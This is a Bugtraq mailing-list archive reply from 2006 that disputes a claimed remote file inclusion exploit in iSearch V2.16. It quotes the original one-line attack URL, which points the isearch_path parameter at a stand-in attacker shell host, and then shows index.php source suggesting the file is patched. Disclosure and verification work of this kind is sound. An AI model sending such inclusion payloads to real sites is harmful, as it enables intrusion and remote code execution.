Bugtraq mailing list archives

Re: The latest version of iSearch is V2.16 <= (index.php) Remote File Inclusion Exploit

From: str0ke <str0ke () milw0rm com>
Date: Mon, 9 Oct 2006 14:32:50 -0500

On 7 Oct 2006 22:14:00 -0000, xp1o () msn com <xp1o () msn com> wrote:

#The latest version of iSearch is V2.16 <=  (index.php) Remote File Inclusion Exploit
#Vlu Code :
#
#htpp://sitename.com/[scerpitPath]/index.php?isearch_path=http://SHELLURL.COM



$isearch_path = dirname(__FILE__);
define('IN_ISEARCH', true);

require_once "$isearch_path/inc/core.inc.php";
require_once "$isearch_path/inc/search.inc.php";

index.php seems patched to me.

/str0ke

Current thread:

The latest version of iSearch is V2.16 <= (index.php) Remote File Inclusion Exploit xp1o (Oct 09)
- Re: The latest version of iSearch is V2.16 <= (index.php) Remote File Inclusion Exploit str0ke (Oct 10)